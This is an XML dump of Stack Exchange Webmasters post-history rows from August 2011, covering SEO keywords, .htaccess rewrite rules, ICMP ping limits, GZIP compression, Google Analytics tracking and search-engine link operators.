  <row Id="42839" PostHistoryTypeId="2" PostId="17742" RevisionGUID="55bf37c3-7943-4acd-99fe-8e1627680bd5" CreationDate="2011-08-03T13:02:22.437" UserId="1253" Text="FYI, meta keywords have no effect on SEO whatsoever.&#xD;&#xA;&#xD;&#xA;There is no official length requirement but generally you'll see people mention anywhere from 100 to 255 characters. Just be sure to put in the words that match your page's content and don't worry about anything else." />
  <row Id="42842" PostHistoryTypeId="2" PostId="17743" RevisionGUID="eb2e2c45-cd90-4442-8084-75c1d4651a1e" CreationDate="2011-08-03T13:14:33.540" UserId="9308" Text="PING is a relatively poor measure of response time because of the protocol that it is based on, ICMP.  Traceroute is also based upon ICMP.  &#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;ICMP has the lowest priority of any protocol on the network and can be discarded by routers and such if a higher priority protocol is present.&lt;/li&gt;&#xD;&#xA;&lt;li&gt;ICMP is also disabled on many hosts as it has been used to create denial of services attacks&lt;/li&gt;&#xD;&#xA;&lt;li&gt;PING's data flow structure is not representative of the complex series of dataflows, many asymmetric in nature, that are used by business processes which cross networks&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;PING can tell if you can get there from here....in most cases....where ICMP responses have not been disabled.  Traceroute can tell you what the path looks like.  But they cannot tell you the relative response time of your business process." />
  <row Id="42843" PostHistoryTypeId="2" PostId="17744" RevisionGUID="94d300c0-15f7-48e2-b3fc-50b67edd9875" CreationDate="2011-08-03T13:18:47.980" UserId="108" Text="If you frame your question slightly differently you can find a solution.  Instead of asking &quot;What keyword searches return your website closest to the top&quot; instead try asking &quot;What keyword searches that people use return your website closest to the top&quot;.  &#xD;&#xA;&#xD;&#xA;The second question is better because you shouldn't care about keywords that work well for your site but no searches or is likely to search because it doesn't help your sight.  &#xD;&#xA;&#xD;&#xA;In the case of the second question the easy answer is that you can get the results for the top ranking searches in Google from Google's Webmaster Tools.  Just go into Your Site on the Web-&gt;Search Queries and sort by the Avg Position column and you will see what keywords people search that you are currently doing best at." />
  <row Id="42844" PostHistoryTypeId="5" PostId="8159" RevisionGUID="0b157d32-6f4c-4b80-b085-ab516df439c1" CreationDate="2011-08-03T13:20:06.497" UserId="4306" Comment="Edited for clarity" Text="Does anyone know what kind of tools or tests I can run to find the traffic value of a keyword?&#xD;&#xA;&#xD;&#xA;I have done a search here before and someone's asked a similar question which was helpful but what I need to find out is what the Traffic Value, not the monetary value of a keyword is please?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42845" PostHistoryTypeId="4" PostId="8159" RevisionGUID="0b157d32-6f4c-4b80-b085-ab516df439c1" CreationDate="2011-08-03T13:20:06.497" UserId="4306" Comment="Edited for clarity" Text="SEO - Traffic value of a keyword" />
  <row Id="42846" PostHistoryTypeId="24" PostId="8159" RevisionGUID="0b157d32-6f4c-4b80-b085-ab516df439c1" CreationDate="2011-08-03T13:20:06.497" Comment="Proposed by 4306 approved by 108 edit id of 476" />
  <row Id="42847" PostHistoryTypeId="4" PostId="8159" RevisionGUID="7abf31f2-f202-4e9a-8cad-51f9716df3a3" CreationDate="2011-08-03T13:27:26.377" UserId="1253" Comment="modified tags, minor text edits" Text="Traffic value of a keyword" />
  <row Id="42848" PostHistoryTypeId="6" PostId="8159" RevisionGUID="7abf31f2-f202-4e9a-8cad-51f9716df3a3" CreationDate="2011-08-03T13:27:26.377" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;tools&gt;" />
  <row Id="42849" PostHistoryTypeId="25" PostId="17740" RevisionGUID="9018e01f-fa33-407f-b6ad-256dcf307a55" CreationDate="2011-08-03T15:34:03.450" Comment="http://twitter.com/#!/StackWebmasters/status/98778664656834561" />
  <row Id="42850" PostHistoryTypeId="2" PostId="17745" RevisionGUID="d7f3ec38-091b-4ee3-b370-cc849e954fef" CreationDate="2011-08-03T16:03:17.613" UserId="9260" Text="I am wondering is there such thing as a WYSIWYG / graphical editor for PHP based website such as Drupal and Joomla? &#xD;&#xA;&#xD;&#xA;I am from the print world, working with code and database just driving me nuts!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks~&#xD;&#xA;Jeno" />
  <row Id="42851" PostHistoryTypeId="1" PostId="17745" RevisionGUID="d7f3ec38-091b-4ee3-b370-cc849e954fef" CreationDate="2011-08-03T16:03:17.613" UserId="9260" Text="dynamic website development help" />
  <row Id="42852" PostHistoryTypeId="3" PostId="17745" RevisionGUID="d7f3ec38-091b-4ee3-b370-cc849e954fef" CreationDate="2011-08-03T16:03:17.613" UserId="9260" Text="&lt;php&gt;&lt;web-development&gt;&lt;website-design&gt;&lt;joomla&gt;&lt;drupal&gt;" />
  <row Id="42853" PostHistoryTypeId="2" PostId="17746" RevisionGUID="ab358bb9-2e60-40a2-ae24-93579e25c2c0" CreationDate="2011-08-03T16:06:32.533" UserId="9329" Text="Maybe you are looking for something like CKEditor.com ?&#xD;&#xA;&#xD;&#xA;If not please clarify your question." />
  <row Id="42854" PostHistoryTypeId="17" PostId="17747" RevisionGUID="cbdb06b9-27fe-4dd7-a688-601ac9c4b2dd" CreationDate="2011-08-03T16:11:07.417" UserId="-1" Comment="from http://stackoverflow.com/questions/6873927/read-data-from-a-folder-in-main-domain-folder-cpanel-whm" Text="" />
  <row Id="42855" PostHistoryTypeId="17" PostId="17748" RevisionGUID="b73cf33e-36a3-4f85-af85-495f1ceaa0fc" CreationDate="2011-08-03T16:11:07.417" UserId="-1" Comment="from http://stackoverflow.com/questions/6873927/read-data-from-a-folder-in-main-domain-folder-cpanel-whm" Text="" />
  <row Id="42856" PostHistoryTypeId="2" PostId="17748" RevisionGUID="482409a6-bc85-4bb8-96a3-619a5b1bcaae" CreationDate="2011-07-29T14:28:30.143" UserId="8354" Text="The best would be just point domain into that folder in your Control Panel.&#xD;&#xA;&#xD;&#xA;If it is necessary to be done with **.htaccess and mod_rewrite**, then here are the rules:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymLinks -MultiViews&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_URI} !^/folder/&#xD;&#xA;    RewriteCond %{DOCUMENT_ROOT}/folder%{REQUEST_URI} -f [OR]&#xD;&#xA;    RewriteCond %{DOCUMENT_ROOT}/folder%{REQUEST_URI} -d&#xD;&#xA;    RewriteRule (.*) /folder/$1 [L]&#xD;&#xA;&#xD;&#xA;For the above to work you need to:&#xD;&#xA;&#xD;&#xA;- place this into **.htaccess** file in website root folder;&#xD;&#xA;- have mod_rewrite enabled on your server;&#xD;&#xA;- .htaccess is enabled in server config and allowed to contain rewrite rule directives (`AllowOverride All` or similar).&#xD;&#xA;&#xD;&#xA;Consult your hosting company with the last 2 points." />
  <row Id="42857" PostHistoryTypeId="2" PostId="17747" RevisionGUID="88d1afb3-0909-43d0-8dc1-3b7c6eacf961" CreationDate="2011-07-29T13:31:57.413" UserDisplayName="Memphis Raines" Text="I have defined a host in my CPanel\WHM server and put all my websites under one host account. The host Main Domain is `domain.com`, and all other websites are Add-on Domains:&#xD;&#xA;&#xD;&#xA;    domain.com&#xD;&#xA;      --folder&#xD;&#xA;      --domain1&#xD;&#xA;      --domain2&#xD;&#xA;      --domain3&#xD;&#xA;      ...&#xD;&#xA;&#xD;&#xA;The thing I need is that when calling `domain.com` in browser, the server read files from another folder. for example when call `http://domain.com` it shows us `http://domain.com/folder` BUT I don't mean a redirection, I want server do this in background without showing visitors the real path.&#xD;&#xA;&#xD;&#xA;I couldn't do this with Domain WildCard Redirection because it got error.&#xD;&#xA;&#xD;&#xA;How can I do this? With htaccess or ... ?" />
  <row Id="42858" PostHistoryTypeId="1" PostId="17747" RevisionGUID="88d1afb3-0909-43d0-8dc1-3b7c6eacf961" CreationDate="2011-07-29T13:31:57.413" UserDisplayName="Memphis Raines" Text="Read data from a folder in main domain folder (CPanel\WHM)" />
  <row Id="42859" PostHistoryTypeId="3" PostId="17747" RevisionGUID="88d1afb3-0909-43d0-8dc1-3b7c6eacf961" CreationDate="2011-07-29T13:31:57.413" UserDisplayName="Memphis Raines" Text="&lt;htaccess&gt;" />
  <row Id="42860" PostHistoryTypeId="2" PostId="17749" RevisionGUID="5cca8bb0-b56d-4304-9b66-319e53d56b47" CreationDate="2011-08-03T17:04:26.740" UserId="9368" Text="try Shopaserver.com  the perfect match to save cost and lots of features.&#xD;&#xA;best of luck!" />
  <row Id="42861" PostHistoryTypeId="2" PostId="17750" RevisionGUID="9ac00e1a-6890-49fe-97b8-6b1e1c3b0979" CreationDate="2011-08-03T17:23:22.667" UserId="6033" Text="[TinyMCE][1] is popular and generally available in content management systems like Drupal and Joomla. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tinymce.com/" />
  <row Id="42862" PostHistoryTypeId="5" PostId="14607" RevisionGUID="e6d72229-fdbd-456a-948a-fc7a31476af9" CreationDate="2011-08-03T17:28:49.007" UserId="4306" Comment="Updated answer with htaccess code" Text="Here's one possible scenario.&#xD;&#xA;&#xD;&#xA;* Google Webmaster Tools tracks searches and clicks TO your domain&#xD;&#xA;* Google Analytics records page views and keywords ON your domain&#xD;&#xA;* So between leaving Google and reaching your pages with the GA tag, the keywords are getting stripped&#xD;&#xA;&#xD;&#xA;Things to check:&#xD;&#xA;&#xD;&#xA;* Analytics is correctly configured on **every** page - make sure the tracking tag in use on the homepage is that same as the internal pages&#xD;&#xA;* You might have Javascript redirects that are stripping out the referrer and keyword information - browse your site with JS disabled and see if everything behaves properly&#xD;&#xA;* You might have meta-refreshes that are redirecting visitors and losing the referrer info. [Disable meta-refreshes][1] and try browsing the site.&#xD;&#xA;* You might have some server-side redirects that strip the referrer information - use a tool like redbot.org to see what headers are being returned when you request your site&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Update:** here's my generic simple .htaccess. I've modified it for your case to redirect to Home.html. Let me know if it works.&#xD;&#xA;&#xD;&#xA;    # Turn on URL rewriting&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    # Installation directory&#xD;&#xA;    RewriteBase /&#xD;&#xA;    &#xD;&#xA;    # Protect hidden files from being viewed&#xD;&#xA;    &lt;Files .*&gt;&#xD;&#xA;    	Order Deny,Allow&#xD;&#xA;    	Deny From All&#xD;&#xA;    &lt;/Files&gt;&#xD;&#xA;        &#xD;&#xA;    # Allow any files or directories that exist to be displayed directly&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    &#xD;&#xA;    # Rewrite all other URLs to Home.html&#xD;&#xA;    RewriteRule .* Home.html [PT]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.jkwebtalks.com/2010/02/disable-automatic-meta-refreshredirect.html&#xD;&#xA;" />
  <row Id="42863" PostHistoryTypeId="25" PostId="17745" RevisionGUID="aa57f1f8-cbee-4988-9961-82a23b43f137" CreationDate="2011-08-03T18:34:03.403" Comment="http://twitter.com/#!/StackWebmasters/status/98823963039375360" />
  <row Id="42864" PostHistoryTypeId="2" PostId="17751" RevisionGUID="ca6d3462-d61f-4e79-b73f-5291a5bea4d2" CreationDate="2011-08-03T18:50:05.193" UserId="9369" Text="As DisgruntledGoat said, Kickstarter.  But there is also [RocketHub][1], [IndieGoGo][2] and [Invested.in][3].&#xD;&#xA;&#xD;&#xA;But I almost get the impression you are looking for something you can host yourself?  If that's the case I did a quick search and came up with [IgnitionDeck][4] though it doesn't seem to be publicly available yet.&#xD;&#xA;&#xD;&#xA;Worst case scenario you throw up a PayPal donate button somewhere.&#xD;&#xA;&#xD;&#xA;Ultimately though your best bet is to use an already existing service.  Why?  People are more likely to help fund your cause through a well known name like Kickstarter or RocketHub than to donate to you directly.  It gives your cause a sense of credibility unless you already have an established audience that trusts you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://rockethub.com/&#xD;&#xA;  [2]: http://www.indiegogo.com/&#xD;&#xA;  [3]: http://invested.in/&#xD;&#xA;  [4]: http://ignitiondeck.com/" />
  <row Id="42865" PostHistoryTypeId="2" PostId="17752" RevisionGUID="8aa6d268-f8dd-4568-bcb8-5b6dc063f030" CreationDate="2011-08-03T19:03:02.623" UserId="2570" Text="When I embed a CNN on my website that is encrypted with SSL, I receive warnings saying there is non-encrypted content on the page.  For other videos I just change the link to the video from http to https.  When I do this for the CNN embedded video, the video doesn't show up..&#xD;&#xA;&#xD;&#xA;Is there any fix for this?" />
  <row Id="42866" PostHistoryTypeId="1" PostId="17752" RevisionGUID="8aa6d268-f8dd-4568-bcb8-5b6dc063f030" CreationDate="2011-08-03T19:03:02.623" UserId="2570" Text="Embed a CNN video on SSL secure site without warning" />
  <row Id="42867" PostHistoryTypeId="3" PostId="17752" RevisionGUID="8aa6d268-f8dd-4568-bcb8-5b6dc063f030" CreationDate="2011-08-03T19:03:02.623" UserId="2570" Text="&lt;ssl&gt;&lt;video&gt;" />
  <row Id="42868" PostHistoryTypeId="2" PostId="17753" RevisionGUID="d7f9a281-4c2a-4efd-bee2-d850eae0ec05" CreationDate="2011-08-03T19:34:09.637" UserId="5806" Text="This happens a lot. I get hundreds of links with HTML entities replacing chars too.&#xD;&#xA;&#xD;&#xA;Google Webmaster Tools will let you know where and when the link was found 99% of the time. Just look under Diagnostics -&gt; Crawl Errors&#xD;&#xA;&#xD;&#xA;There will be a table listing URLs and the number of pages (3rd column) that links to them. Click on where it says '*X* pages' and that will list you the *X* pages where that link is found and when the link was encountered last by Googlebot." />
  <row Id="42869" PostHistoryTypeId="2" PostId="17754" RevisionGUID="416f54c2-7cbb-4801-b848-0882029900d0" CreationDate="2011-08-03T20:03:08.530" UserId="8950" Text="Although I don't personally condone the services, ReviewMe is a company a couple of my clients have used with pretty decent success, and even a better ROI than AdWords Campaigns.&#xD;&#xA;&#xD;&#xA;http://www.reviewme.com/" />
  <row Id="42870" PostHistoryTypeId="2" PostId="17755" RevisionGUID="16a9964e-bb22-4eec-be50-615f0505543c" CreationDate="2011-08-03T20:07:06.373" UserId="9342" Text="In the end the SEO agency request had to obeyed. As illogical and may I add stupid it sounds the shift of responsibility in case something goes wrong is simply not worth the risk.&#xD;&#xA;&#xD;&#xA;Thank you all for your input. I am marking this question as solved." />
  <row Id="42871" PostHistoryTypeId="2" PostId="17756" RevisionGUID="6ed343ce-e9a0-4bf8-9eaa-4ed09d1f24e6" CreationDate="2011-08-03T20:08:58.120" UserId="9371" Text="I'm currently using a page-level custom variable to save key pages that a visitor can visit. Let's say that a user has 2 different page-level custom variables attached to their first visit (values=a and b), then 3 more attached to their second visit (values=c, d, and e). If I make an advanced segment for users that have had the value &quot;a&quot; assigned to them and then view a custom report that shows the # of pageviews for the custom variable (a, b, c, d, or e), will the report include those who did not hit the values in the same session? Taking the user scenario at the start of this post, would they be counted since they had &quot;a&quot; assigned on visit 1 and then at least one other assigned on visit 2?&#xD;&#xA;&#xD;&#xA;In other words, are page-level custom variables attributed to the visitor, or are they only attributed to the visit they were assigned on?&#xD;&#xA;" />
  <row Id="42872" PostHistoryTypeId="1" PostId="17756" RevisionGUID="6ed343ce-e9a0-4bf8-9eaa-4ed09d1f24e6" CreationDate="2011-08-03T20:08:58.120" UserId="9371" Text="Page-Level CustVar Attributed To Visitor or Visit?" />
  <row Id="42873" PostHistoryTypeId="3" PostId="17756" RevisionGUID="6ed343ce-e9a0-4bf8-9eaa-4ed09d1f24e6" CreationDate="2011-08-03T20:08:58.120" UserId="9371" Text="&lt;google-analytics&gt;" />
  <row Id="42874" PostHistoryTypeId="2" PostId="17757" RevisionGUID="08f3268d-bf4b-46e1-8870-1cbfe231eea6" CreationDate="2011-08-03T20:40:16.930" UserId="9372" Text="I implemented Google Analytics on every page of one of my companies website, and on one page there is a simple form to order a free brochure. The main goal of the site is to have my visitors who are potential new customers, order this brochure.&#xD;&#xA;&#xD;&#xA;Is there any way I can track who orders a brochure and who doesn't? I want it to be advanced enough so that I can see on which adword-keywords people ordered a brochure on so I can adjust my budget accordingly as to what is effective and what is not.&#xD;&#xA;&#xD;&#xA;Seeing the traffic and all is great but I want to make my adword investments more effective, since at the moment I have no clue who is actually ordering a brochure and who is not :)&#xD;&#xA;&#xD;&#xA;I am EXTEMELY new to analytics so any advice would be greatly appreciated!" />
  <row Id="42875" PostHistoryTypeId="1" PostId="17757" RevisionGUID="08f3268d-bf4b-46e1-8870-1cbfe231eea6" CreationDate="2011-08-03T20:40:16.930" UserId="9372" Text="Google Analytics: How to track when visitors order a brochure?" />
  <row Id="42876" PostHistoryTypeId="3" PostId="17757" RevisionGUID="08f3268d-bf4b-46e1-8870-1cbfe231eea6" CreationDate="2011-08-03T20:40:16.930" UserId="9372" Text="&lt;google-analytics&gt;&lt;tracking&gt;" />
  <row Id="42877" PostHistoryTypeId="2" PostId="17758" RevisionGUID="84e9640b-4639-4cbb-8690-ca2e05a06b7c" CreationDate="2011-08-03T21:02:57.217" UserId="1112" Text="The link: directive in Google will find all pages which link to a given site. E.g. putting this in Google:  &#xD;&#xA;link:stackexchange.com  &#xD;&#xA;returns a bunch of sites linking to Stack Exchange.&#xD;&#xA;&#xD;&#xA;Is there an equivalent directive in Bing and/or Yahoo?" />
  <row Id="42878" PostHistoryTypeId="1" PostId="17758" RevisionGUID="84e9640b-4639-4cbb-8690-ca2e05a06b7c" CreationDate="2011-08-03T21:02:57.217" UserId="1112" Text="What is the Google link equivalent in Yahoo and Bing?" />
  <row Id="42879" PostHistoryTypeId="3" PostId="17758" RevisionGUID="84e9640b-4639-4cbb-8690-ca2e05a06b7c" CreationDate="2011-08-03T21:02:57.217" UserId="1112" Text="&lt;search-engines&gt;" />
  <row Id="42880" PostHistoryTypeId="2" PostId="17759" RevisionGUID="1765497d-0d81-4c02-b870-28ca417aaf33" CreationDate="2011-08-03T21:07:33.857" UserId="4863" Text="The site had multiple menu items in different menus pointing to the same page. After removing all but one of these menu items, the sub-menu began expanding as it should have." />
  <row Id="42881" PostHistoryTypeId="2" PostId="17760" RevisionGUID="0cbbacde-1e01-4d22-98f0-06c638db86f1" CreationDate="2011-08-03T21:12:01.240" UserId="9373" Text="Is there a compression level which will provide an optimal balance between file size reduction and client decompression time/cost?&#xD;&#xA;&#xD;&#xA;I was wondering which GZIP compression level provided the best balance between file size reduction and decompression time. Compression time doesn't really matter since it will only be compressed once and cached. However, I'm concerned that if I set the compression level too high, any gains from file size reduction will be wiped out by the time and cost required to decompress the file on the client side. &#xD;&#xA;" />
  <row Id="42882" PostHistoryTypeId="1" PostId="17760" RevisionGUID="0cbbacde-1e01-4d22-98f0-06c638db86f1" CreationDate="2011-08-03T21:12:01.240" UserId="9373" Text="Optimal GZIP compression level for static resources?" />
  <row Id="42883" PostHistoryTypeId="3" PostId="17760" RevisionGUID="0cbbacde-1e01-4d22-98f0-06c638db86f1" CreationDate="2011-08-03T21:12:01.240" UserId="9373" Text="&lt;static-content&gt;&lt;compression&gt;&lt;gzip&gt;" />
  <row Id="42884" PostHistoryTypeId="25" PostId="17741" RevisionGUID="18642a97-8256-474a-9fa4-50c429f3811d" CreationDate="2011-08-03T21:34:08.387" Comment="http://twitter.com/#!/StackWebmasters/status/98869280627625985" />
  <row Id="42885" PostHistoryTypeId="2" PostId="17761" RevisionGUID="f30386d8-061e-426f-b9cd-f24379a3ce29" CreationDate="2011-08-03T22:02:25.087" UserId="108" Text="I do not believe that Bing has one.  &#xD;&#xA;&#xD;&#xA;See this, http://superuser.com/questions/19164/does-bing-have-advanced-search-operators for more general info on Bings options and how to find them.&#xD;&#xA;&#xD;&#xA;Specifically, this page from Bing, http://onlinehelp.microsoft.com/en-us/bing/ff808421.aspx covers their search options.&#xD;&#xA;&#xD;&#xA;Finally, Yahoo probably is a duplicate of Bing since all of their searches comes from the Bing engine.  " />
  <row Id="42886" PostHistoryTypeId="2" PostId="17762" RevisionGUID="6d26ea9c-423a-4aee-96ba-70f6812c46f8" CreationDate="2011-08-03T22:42:54.297" UserId="9371" Text="You'll need to do a few things:&#xD;&#xA;&#xD;&#xA; 1. Link your analytics and adwords accounts, and turn on auto tagging. This will allow you to get the most information from AdWords to your Analytics account.&#xD;&#xA; 2. If the user is sent to a &quot;thank you&quot; page, or any page that is only accessible once a brochure order has been placed, you can simply create a custom report and/or advanced segment to give you the information you want based on the URL. If your user is NOT sent to a unique &quot;thank you&quot; page, you can assign a custom variable to that page that only gets sent after ordering, you can create an event that triggers once an order is complete, you can add a query string parameter to the redirect and filter your data by that, etc.&#xD;&#xA;&#xD;&#xA;There are plenty of ways to do it, it just depends on how the website is set up. Here are some links that will point you in the right direction based on what you decide to do. I suggest reading through all of them to get a firm grasp of how Analytics tracks.&#xD;&#xA;&#xD;&#xA;Event Tracking: http://code.google.com/apis/analytics/docs/tracking/eventTrackerGuide.html&#xD;&#xA;&#xD;&#xA;Custom Variables: http://code.google.com/apis/analytics/docs/tracking/gaTrackingCustomVariables.html&#xD;&#xA;&#xD;&#xA;Linking AdWords and Analytics: http://www.google.com/support/analytics/bin/answer.py?answer=55507&#xD;&#xA;&#xD;&#xA;Advanced Segments: http://www.google.com/support/analytics/bin/answer.py?answer=108039&#xD;&#xA;&#xD;&#xA;Custom Reports: http://www.google.com/support/analytics/bin/answer.py?answer=98527" />
  <row Id="42888" PostHistoryTypeId="2" PostId="17764" RevisionGUID="ded77b4c-12d8-4899-a158-ad18964e37e9" CreationDate="2011-08-03T23:36:37.543" UserId="9377" Text="I have foo.com which is set up as the alias of bar.com&#xD;&#xA;For better ranking etc I want search engines to only crawl foo.com&#xD;&#xA;How do I &quot;remove&quot; bar.com ?&#xD;&#xA;&#xD;&#xA;Is it the same method as removing www (which I'll also be using) ? if so what's the code ?&#xD;&#xA;" />
  <row Id="42889" PostHistoryTypeId="1" PostId="17764" RevisionGUID="ded77b4c-12d8-4899-a158-ad18964e37e9" CreationDate="2011-08-03T23:36:37.543" UserId="9377" Text="How to remove one of two domains on the same site for SEO?" />
  <row Id="42890" PostHistoryTypeId="3" PostId="17764" RevisionGUID="ded77b4c-12d8-4899-a158-ad18964e37e9" CreationDate="2011-08-03T23:36:37.543" UserId="9377" Text="&lt;seo&gt;&lt;multiple-domains&gt;" />
  <row Id="42891" PostHistoryTypeId="2" PostId="17765" RevisionGUID="516a6b73-3f6e-4091-88bc-2a5f5bfffcd6" CreationDate="2011-08-03T23:38:24.093" UserId="1603" Text="Take a look at [Windows Azure][1] - it claims to supports PHP just fine and have data centers some 8 places around the globe and pretty easy deployment - a 'extra server with the click of a mouse' kind of thing. Windows Azure also have a Traffic Manager feature, which make it dead simple to have people routed to the closest data center you have, re-route is one of your sites go down etc.&#xD;&#xA;&#xD;&#xA;The down side to Windows Azure is that you need to deploy your package differently than you are used to and it's all very cloud'ish. &#xD;&#xA;&#xD;&#xA;I blogged about [a similar setup][2] with a site running in Asia, Europe and US - in the blog I talk about a Geo DNS setup, but we later moved to Windows Azure Traffic Manager as it worked better and was so easy to set up.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/windowsazure/&#xD;&#xA;  [2]: http://community.composite.net/C1/Blog.aspx/2011/06/17/Geo-DNS-and-Windows-Azure-making-your-CMS-faster" />
  <row Id="42892" PostHistoryTypeId="2" PostId="17766" RevisionGUID="9b5c5162-9c60-41a6-aed4-ab57ca145c69" CreationDate="2011-08-03T23:46:17.160" UserId="233" Text="The best way is to 301 Redirect all requests for `bar.com` (or `www.bar.com` or `www.foo.com`) to `foo.com` using `.htaccess` or a similar method. Google will tell you how, or there are a [few questions on this site][1].&#xD;&#xA;&#xD;&#xA;You can also tell Google of a &quot;change of address&quot; through Google Webmaster Tools.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/tagged/htaccess?sort=votes" />
  <row Id="42893" PostHistoryTypeId="5" PostId="17765" RevisionGUID="e633f138-16cf-4694-a2b3-f6b93fee1b73" CreationDate="2011-08-03T23:54:55.297" UserId="1603" Comment="added 110 characters in body" Text="Take a look at [Windows Azure][1] - it claims to supports PHP just fine and have data centers some 6 places around the globe and pretty easy deployment - a 'extra server with the click of a mouse' kind of thing. Windows Azure also have a Traffic Manager feature, which make it dead simple to have people routed to the closest data center you have, re-route is one of your sites go down etc.&#xD;&#xA;&#xD;&#xA;The down side to Windows Azure is that you need to deploy your package differently than you are used to and it's all very cloud'ish. &#xD;&#xA;&#xD;&#xA;See [http://azurephp.interoperabilitybridges.com/][2]&#xD;&#xA;&#xD;&#xA;I blogged about [a similar setup][3] with a site running in Asia, Europe and US - in the blog I talk about a Geo DNS setup, but we later moved to Windows Azure Traffic Manager as it worked better and was so easy to set up.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/windowsazure/&#xD;&#xA;  [2]: http://azurephp.interoperabilitybridges.com/&#xD;&#xA;  [3]: http://community.composite.net/C1/Blog.aspx/2011/06/17/Geo-DNS-and-Windows-Azure-making-your-CMS-faster" />
  <row Id="42894" PostHistoryTypeId="2" PostId="17767" RevisionGUID="263d80fd-4e1e-4074-a977-510307b2c9f3" CreationDate="2011-08-03T23:57:54.100" UserId="9378" Text="I'm launching a web and desktop application soon where users can modify their photos.&#xD;&#xA;So should I set up a Facebook **app page** or a **business page** for it?&#xD;&#xA;&#xD;&#xA;( http://www.facebook.com/apps || http://www.facebook.com/pages )&#xD;&#xA;&#xD;&#xA;Are there any pros and cons?&#xD;&#xA;Thank you." />
  <row Id="42895" PostHistoryTypeId="1" PostId="17767" RevisionGUID="263d80fd-4e1e-4074-a977-510307b2c9f3" CreationDate="2011-08-03T23:57:54.100" UserId="9378" Text="Facebook profile - app page or business page" />
  <row Id="42896" PostHistoryTypeId="3" PostId="17767" RevisionGUID="263d80fd-4e1e-4074-a977-510307b2c9f3" CreationDate="2011-08-03T23:57:54.100" UserId="9378" Text="&lt;facebook&gt;" />
  <row Id="42897" PostHistoryTypeId="2" PostId="17768" RevisionGUID="752287de-a3c2-4c1c-9101-4ba111e36cd4" CreationDate="2011-08-03T23:58:53.357" UserId="233" Text="Bing doesn't appear to recognise the `link:` operator. However you can see links pointing to your site through their webmaster tools (same in Google).&#xD;&#xA;&#xD;&#xA;Yahoo, on the other hand, redirects all `link:` queries to its neat [Site Explorer][1] tool, which is the most comprehensive for domains you do not own. I don't know how long this will stay online for now that Bing runs their search results.&#xD;&#xA;&#xD;&#xA;Another useful source is [Open Site Explorer][2] by SEOmoz. Their index is small by comparison but you can usually see the most important links.&#xD;&#xA;&#xD;&#xA;Incidentally, although Google does technically support `link:`, they never show enough links to be remotely useful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://siteexplorer.search.yahoo.com/&#xD;&#xA;  [2]: http://www.opensiteexplorer.org/" />
  <row Id="42898" PostHistoryTypeId="2" PostId="17769" RevisionGUID="06b6c343-06e4-488b-be84-32fb7957888b" CreationDate="2011-08-04T00:21:27.887" UserId="4118" Text="It is unlikely that the compression level affects the decompression time. The tradeoff is in how much time/memory is spent in compression searching for the smallest way to express the input data — more compression isn't just extra layers of processing on both ends (that would be a good way to make the data *larger*).&#xD;&#xA;&#xD;&#xA;Once the data is compressed, decompressing it is just following the instructions in the compressed file; there's no guesswork, and a better-compressed file might well be *faster* to decompress since less input data needs to be read." />
  <row Id="42899" PostHistoryTypeId="2" PostId="17770" RevisionGUID="57aeeedf-e6c2-41bb-9698-517cb1ecae7c" CreationDate="2011-08-04T00:25:40.013" UserId="9379" Text="I'm consulting on a web site which in order to provide clean URL's uses the 404 handler to catch what would otherwise be a 404 and serve the correct content. &#xD;&#xA;&#xD;&#xA;In case that's not clear the 404 handler is being used to do what would otherwise be done by mod_rewrite.&#xD;&#xA;&#xD;&#xA;So :&#xD;&#xA;&#xD;&#xA;http://somedomain.com/fruit/apples/description&#xD;&#xA;&#xD;&#xA;... does not exist on somedomain.com so the 404 handler, a PHP script, is invoked, parses the URL requested and then makes an internal requests for:&#xD;&#xA;&#xD;&#xA;http://somedomain.com?foodtype=1&amp;fooddesc=2&amp;contenttype=3&#xD;&#xA;&#xD;&#xA;The resulting content then gets sent but in doing so it reports a 404 to the user agent.&#xD;&#xA;&#xD;&#xA;The client is interested in using Google Analytics in order to track usage of the site. &#xD;&#xA;&#xD;&#xA;My question is will GA provide anything useful in terms of results or will the 404 being returned by the server cause GA to discard the response ?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42900" PostHistoryTypeId="1" PostId="17770" RevisionGUID="57aeeedf-e6c2-41bb-9698-517cb1ecae7c" CreationDate="2011-08-04T00:25:40.013" UserId="9379" Text="Google Analytics when 404 handler is used as 'mod_rewrite'?" />
  <row Id="42901" PostHistoryTypeId="3" PostId="17770" RevisionGUID="57aeeedf-e6c2-41bb-9698-517cb1ecae7c" CreationDate="2011-08-04T00:25:40.013" UserId="9379" Text="&lt;google-analytics&gt;&lt;mod-rewrite&gt;&lt;http&gt;&lt;http-headers&gt;" />
  <row Id="42902" PostHistoryTypeId="2" PostId="17771" RevisionGUID="aa7944c2-dd1c-41b9-9deb-30b783720d3c" CreationDate="2011-08-04T00:26:32.053" UserId="9380" Text="I am wondering that HTML coding and CSS is a work for web designer or web developer.&#xD;&#xA;I personally think that HTML coding and CSS is more related with presentation and structure of web page, so those are work for web designer...How do you think?&#xD;&#xA;And I also want know exact difference between web authors and web implementors.&#xD;&#xA;In W3C html specification, it is said that specification has been written with 2 types of reader in mind:authors and web implementors." />
